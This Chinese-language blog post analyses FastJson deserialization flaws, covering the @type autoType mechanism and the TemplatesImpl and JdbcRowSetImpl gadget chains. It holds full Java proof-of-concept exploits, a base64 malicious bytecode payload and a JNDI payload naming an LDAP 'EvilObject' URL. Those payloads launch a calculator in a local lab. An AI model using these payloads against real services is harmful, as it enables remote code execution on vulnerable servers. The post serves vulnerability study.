网络安全之反序列化漏洞分析

这篇具有很好参考价值的文章主要介绍了网络安全之反序列化漏洞分析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

简介

FastJson 是 alibaba 的一款开源 JSON 解析库,可用于将 Java 对象转换为其 JSON 表示形式,也可以用于将 JSON 字符串转换为等效的 Java 对象分别通过toJSONStringparseObject/parse来实现序列化和反序列化。

使用

对于序列化的方法toJSONString()有多个重载形式。

网络安全之反序列化漏洞分析

  1. SerializeFeature: 通过设置多个特性到FastjsonConfig中全局使用, 也可以在使用具体方法中指定特性

  2. SerializeFilter: 一个接口, 通过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化

  3. SerializeConfig: 添加特点类型自定义的序列化配置

对于反序列化的方法parseObject()也同样有多个重载形式。

网络安全之反序列化漏洞分析

【一一帮助安全学习,所有资源获取处一一】

①网络安全学习路线

②20 份渗透测试电子书

③安全攻防 357 页笔记

④50 份安全攻防面试指南

⑤安全红队渗透工具包

⑥网络安全必备书籍

⑦100 个漏洞实战案例

⑧安全大厂内部视频资源

⑨历年 CTF 夺旗赛题解析

序列化操作

网络安全之反序列化漏洞分析

可以发现这两个的区别,如果使用了 toJSONString()的属性值SerializerFeature.WriteClassName,就会在序列化的时候多写入一个@type后面跟着的是反序列化的类名。

反序列化操作

package pers.fastjson;
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;
public class UnSerialTest {    public static void main(String[] args) {        String jsonStringWithType = "{\"@type\":\"pers.fastjson.Student\",\"name\":\"RoboTerh\"}";        String jsonStringWithoutType = "{\"name\":\"RoboTerh\"}";
        System.out.println("use JSON.parse with type......");        Object o1 = JSON.parse(jsonStringWithType);        System.out.println(o1);        System.out.println("------------------------------------");
        System.out.println("use JSON.parse without type....");        Object o2 = JSON.parse(jsonStringWithoutType);        System.out.println(o2);        System.out.println("-------------------------------------");
        System.out.println("use JSON.parseObject with type.......");        JSONObject o3 = JSON.parseObject(jsonStringWithType);        System.out.println(o3);        System.out.println("--------------------------------------");
        System.out.println("use JSON.parseObject without type.........");        JSONObject o4 = JSON.parseObject(jsonStringWithoutType);        System.out.println(o4);        System.out.println("----------------------------------------");
        System.out.println("use JSON.parseObject without type but hava .Class");        Student o5 = JSON.parseObject(jsonStringWithoutType, Student.class);        System.out.println(o5);    }}

复制代码

网络安全之反序列化漏洞分析

可以通过结果发现 1 和 5 成功反序列化,没成功都是因为没有确定需要反序列化的类。

我们可以发现,在引入了@type之后,JSON.parseObject调用了getter/setter方法,JSON.parse调用了setter方法。

当然,其他的方式也是可以调用getter方法的,但是有条件限制:

条件一、方法名需要长于 4 条件二、不是静态方法条件三、以 get 字符串开头,且第四个字符需要是大写字母条件四、方法不能有参数传条件五、继承自 Collection || Map || AtomicBoolean || AtomicInteger ||AtomicLong 条件六、此 getter 不能有 setter 方法(程序会先将目标类中所有的 setter 加入 fieldList 列表,因此可以通过读取 fieldList 列表来判断此类中的 getter 方法有没有 setter)

因为fastjson存在autoType机制, 当用户指定@type时, 存在调用恶意setter/getter的情况, 这就是fastjson反序列化漏洞。

简单的漏洞

//Evil.javapackage pers.fastjson;
import java.io.IOException;
public class Evil {    private String name;
    public Evil () {        System.out.println("构造方法");    }    public void setName(String name) throws IOException {        this.name = name;        System.out.println("调用了setName方法");        Runtime.getRuntime().exec("calc");    }    public String getName() {        System.out.println("调用了getName方法");        return name;    }}

复制代码

//EvilTest.javapackage pers.fastjson;
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;
public class EvilTest {    public static void main(String[] args) {        String jsonString = "{\"@type\":\"pers.fastjson.Evil\",\"name\":\"RoboTerh\"}";        JSONObject o = JSON.parseObject(jsonString);        System.out.println(o);    }}

复制代码

网络安全之反序列化漏洞分析

成功弹出了计算器,

我们调式分析分析,

JSON.parseObject处下的断点。

网络安全之反序列化漏洞分析

首先使用了 parse()方法进行反序列化操作。

网络安全之反序列化漏洞分析

JSON.parse(String text, int features)创建了DefaultJSONParser对象。

网络安全之反序列化漏洞分析

在成功创建了该对象之后通过判断ch{ / [为 token 赋值,这里是 12。

网络安全之反序列化漏洞分析

DefaultJSONParser#parse方法中通过判断 token 的值,进入创建了一个JSONObject对象。

parseObject方法, 这里会通过scanSymbol获取到@type指定类, 然后通过TypeUtils.loadClass方法加载Class.

网络安全之反序列化漏洞分析

网络安全之反序列化漏洞分析

先是首先在 maping 中寻找 JDK 的内置类,没有找到之后使用 ClassLoader 寻找,得到clazz的之后进行返回

创建了ObjectDeserializer并且调用了getDeserializer方法。

Templateslmpl 利用链

如果一个类中的getter满足调用条件而且存在可利用点,攻击链就产生了。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类中就存在一个私有变量_outputProperties,他的getter方法就满足在反序列化的时候的调用条件。

分析利用链,

从漏洞触发点开始Templateslmpl#getTransletInstance方法。

网络安全之反序列化漏洞分析

这里通过调用_class[_transletIndex]newInstance()方法进行实例化操作,我们追踪_class[_transletIndex]的出处,看看是否可以控制,进行恶意操作。

值得注意的是,我们想要达到漏洞点,在getTransletInstance()方法的两个 if 语句中,我们需要保证他的_name这个私有属性不为空,否则就直接返回了 null,而不会达到漏洞点。

在第二个语句中就是通过defineTransletClasses()方法获得了_class_transletIndex的值,进入它。

网络安全之反序列化漏洞分析

首先判断_bytecodes是否为空,这里的_bytecodes同样是Templateslmpl类的成员变量,可控

如果这里不为空的话,就会执行。

网络安全之反序列化漏洞分析

而且这里如果_tfactory不为空的话,就会导致出现异常,然后返回,不会继续执行程序,我们需要保证它不为 null,虽然他也是Templateslmpl类的成员变量,但是他没有对应的setter,我们可以通过Feature.SupportNonPublicField来进行修改。

接着走,在后面有一个 for 循环,

网络安全之反序列化漏洞分析

通过loader.defineClass修饰之后将_bytecodes[i]赋值给_class[i],跟进 defineClass 方法。

网络安全之反序列化漏洞分析

他是ClassLoaderdefineClass的重写,作用是将字节码转化为 Class,

转回defineTransletClasses,在 if 判断语句中,如果它是 main class 的时候我们就为_transletIndex赋值。

现在重新回到getTranslateInstance()方法,现在这里的_class[_translateIndex]就是我们为_bytecodes赋值的恶意 class,我们这里将他给实例化了,成功利用恶意类,

现在我们可以知道getTranslateInstance()是可以执行恶意类的,我们搜索在Templateslmpl类中什么调用了这个方法的。

网络安全之反序列化漏洞分析

可以发现在newTransformer()方法中使用了 getTransletInstance()方法。

继续搜索在哪里调用了 newTransformer()方法。

网络安全之反序列化漏洞分析

getOutputProperties()方法调用了他,而且这个方法,在反序列化的时候会被调用,现在,这个利用链就完整了。

//利用链getOutputProperties()    newTransformer()      getTransletInstance()        defineTransletClasses()      _class[_transletIndex].newInstance()

复制代码

POC

package pers.fastjson;
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import org.apache.commons.codec.binary.Base64;
import java.io.IOException;
public class Fj24POC {    public static class RoboTerh {
    }    public static String makeClasses() throws NotFoundException, CannotCompileException, IOException {
        ClassPool pool = ClassPool.getDefault();        CtClass cc = pool.get(RoboTerh.class.getName());        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";        cc.makeClassInitializer().insertBefore(cmd);        String randomClassName = "RoboTerh" + System.nanoTime();        cc.setName(randomClassName);        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));        byte[] evilCodes = cc.toBytecode();
        return Base64.encodeBase64String(evilCodes);    }
    public static String exploitString() throws NotFoundException, CannotCompileException, IOException {        String evilCodeBase64 = makeClasses();        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";        String exploit = "{'RoboTerh':{" +                "\"@type\":\"" + NASTY_CLASS + "\"," +                "\"_bytecodes\":[\"" + evilCodeBase64 + "\"]," +                "'_name':'RoboTerh'," +                "'_tfactory':{ }," +                "'_outputProperties':{ }" +                "}}\n";
        return exploit;    }
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {        String exploit = exploitString();        System.out.println(exploit);        //JSON.parse(exploit, Feature.SupportNonPublicField);        //JSON.parseObject(exploit, Feature.SupportNonPublicField);        JSON.parseObject(exploit, Object.class, Feature.SupportNonPublicField);    }}

复制代码

网络安全之反序列化漏洞分析

//payload{"RoboTerh":{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAhSb2JvVGVyaAEADElubmVyQ2xhc3NlcwEAIExwZXJzL2Zhc3Rqc29uL0ZqMjRQT0MkUmib1Rlcmg7AQAKU291cmNlRmlsZQEADEZqMjRQT0MuamF2YQwABAAFBwATAQAecGVycy9mYXN0anNvbi9GajI0UE9DJFJvYmUZXJoAQAQamF2YS9sYW5nL09iamVjdAEAFXBlcnMvZmFzdGpzb24vRmoyNFBPQwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAFlJvY9UZXJoMjY5OTQ4OTExMjAwMDABABhMUmib1RlcmgyNjk5NDg5MTEyMDAwMDsBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAjCgAkAA8AIQACACQAAAAAAAIAAQAEAAUAAQAGAAAALwABAAEAAAAFKrcAJbEAAAACAAcAAAAGAAEAAAAPAAgAAAAMAAEAAAAFAAkAIgAAAAgAFAAFAAEABgAAABYAAgAAAAAACrgAGhIctgAgV7EAAAAAAAIADQAAAAIADgALAAAACgABAAIAEAAKAAk="],'_name':'RoboTerh','_tfactory':{ },'_outputProperties':{ }}}

复制代码

条件限制

需要开启Feature.SupportNonPublicField这个特性。

JdbcRowSetImpl 利用链

分析利用链

JdbcRowSetImpl类位于com.sun.rowset.JdbcRowSetImpl中,它本身没有实现Serializeble接口,但是他是BaseRowSet类的子类,该类实现了该接口,所以它可以进行序列化。

链子的核心触发点是javax.naming.InitialContext#lookup的参数可控造成的漏洞。

网络安全之反序列化漏洞分析

JdbcRowSetImpl#setAutoCommit中如果this.conn为空的时候,就会调用this.connect方法。

网络安全之反序列化漏洞分析

然后在 connect 方法中就会调用Javax.naming.InitialContext#lookup方法,参数是dataSourceName成员变量。

网络安全之反序列化漏洞分析

//调用链JdbcRowSetImpl对象    getDataSource      setAutocommit方法        context.lookup(datasourcename)

复制代码

POC

package pers.fastjson;
import com.alibaba.fastjson.JSON;
public class Fj24_Jdbc_POC {    public static void main(String[] args) {        String payload = "{" +                "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +                "\"dataSourceName\":\"ldap://127.0.0.1:8888/EvilObject\"," +                "\"autoCommit\":\"true\"," +                "}";        //JSON.parseObject(payload); 成功        //JSON.parse(payload); 成功        JSON.parseObject(payload, Object.class);    }}

复制代码

网络安全之反序列化漏洞分析

//payload{"RoboTerh":{  "@type":"com.sun.rowset.JdbcRowSetImpl",  "dataSourceName":"ldap://127.0.0.1:8888/evilObject",  "autoCommit":true}}

复制代码

条件限制,

使用了 JNDI 注入,利用条件相对较低,但是需要连接远程恶意服务器,需要在有网的情况下执行。文章来源地址https://www.toymoban.com/news/detail-478937.html

到了这里,关于网络安全之反序列化漏洞分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • java反序列化漏洞分析

    Java反序列化漏洞(Java Deserialization Vulnerabilities)是一种常见的安全漏洞,其攻击方式是利用Java中的序列化和反序列化机制,通过在序列化数据中插入恶意代码,导致反序列化过程中执行恶意代码。本文将介绍Java反序列化漏洞的原理、攻击方式和防范措施。 一、Java序列化和

    2024年02月13日
    浏览(45)
  • TP 5.0.24反序列化漏洞分析

    很久没发过文章了,最近在研究审计链条相关的东西,codeql,ast,以及一些java的东西很多东西还是没学明白就先不写出来丢人了,写这篇tp的原因呢 虽然这个漏洞的分析文章蛮多了,但是还是跟着看了下,一方面是因为以前对pop链挖掘一直学的懵懵懂懂的 ctf的一些pop链能出

    2024年01月17日
    浏览(43)
  • 【新】通达OA前台反序列化漏洞分析

    0x01 前言 注:本文仅以安全研究为目的,分享对该漏洞的挖掘过程,文中涉及的所有漏洞均已报送给国家单位,请勿用做非法用途。 通达OA作为历史上出现漏洞较多的OA,在经过多轮的迭代之后已经很少前台的RCE漏洞了。一般来说通达OA是通过auth.inc.php文件来进行鉴权,如图

    2024年02月14日
    浏览(45)
  • Java反序列化漏洞-URLDNS链分析

    目录 一、前置知识 反射 二、分析 1. URL 2. HashMap 3. 解决一些问题 反射修改字段值 三、POC 四、利用链 菜鸟教程 Java 序列化 Java安全-反射 URLDNS链的作用就是在目标主机中可能存在反序列化输入的数据的地方,传入序列化后的URLDNS利用链,如果目标主机解析了这个URL地址,那么

    2024年02月04日
    浏览(50)
  • Laravel 9.1.8 反序列化漏洞分析及复现

    反序列化漏洞是如今很常见的漏洞类型,有很多分类,也有很多绕过方式。本文选取了一个今年比较典型的反序列化漏洞,进行了一个分析并复现。 Laravel是一套简洁、优雅的PHP Web开发框架。 近日,Laravel 被披露存在多个安全漏洞,可允许通过反序列化POP链实现远程代码执行

    2024年02月06日
    浏览(55)
  • thinkphp5.0.24反序列化漏洞分析

    thinkphp5框架: thinkphp5的入口文件在 publicindex.php ,访问 反序列化起点 写一个反序列化入口点 全局搜索 __destruct() 函数 thinkphp_5.0.24thinkphplibrarythinkprocesspipesWindows.php 中的 __destruct() 函数,调用了removeFiles() 跟进removeFiles(),第163行的file_exists可以触发 __toString 方法 全局搜索

    2023年04月08日
    浏览(42)
  • fastjson 1.2.24 反序列化漏洞(审计分析)

    环境 JDK 8u181 Fastjson 1.2.24 POC 跟进 parse 方法 跟进到底层deserialze 方法 Poc 中传入的 dataSourceName : ldap://192.168.3.229:8084/vnSYPYwMs 值 这里实际对应 setDataSourceName 方法,调用此方法并传入 ldap 跟进 setDataSourceName 方法,这里只是简单赋值   步出回此方法 继续步出,进入parseRest方法 跟进

    2023年04月14日
    浏览(43)
  • Java反序列化漏洞-CC1利用链分析

    目录 一、前置知识 1. 反射 2. Commons Collections是什么 3. 环境准备 二、分析利用链 1. Transformer 2. InvokeTransformer 执行命令 3. ConstantTransformer 4. ChainedTransformer 执行命令 5. TransformedMap 6. AbstractInputCheckedMapDecorator 7. AnnotationInvocationHandler 三、编写POC 1. ChainedTransformer 2. decorate 3. Annotatio

    2024年02月04日
    浏览(45)
  • 【网络】序列化反序列化

    在前文《网络编程套接字》中,我们实现了服务器与客户端之间的字符串通信,这是非常简单的通信,在实际使用的过程中,网络需要传输的不仅仅是字符串,更多的是结构化的数据(类似于 class , struct 类似的数据)。 那么我们应该怎么发送这些结构化的数据呢? 如果我们

    2024年02月05日
    浏览(43)
  • 【网络】协议定制+序列化/反序列化

    如果光看定义很难理解序列化的意义,那么我们可以从另一个角度来推导出什么是序列化, 那么究竟序列化的目的是什么? 其实序列化最终的目的是为了对象可以 跨平台存储,和进行网络传输 。而我们进行跨平台存储和网络传输的方式就是IO,而我们的IO支持的数据格式就是

    2024年02月08日
    浏览(43)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包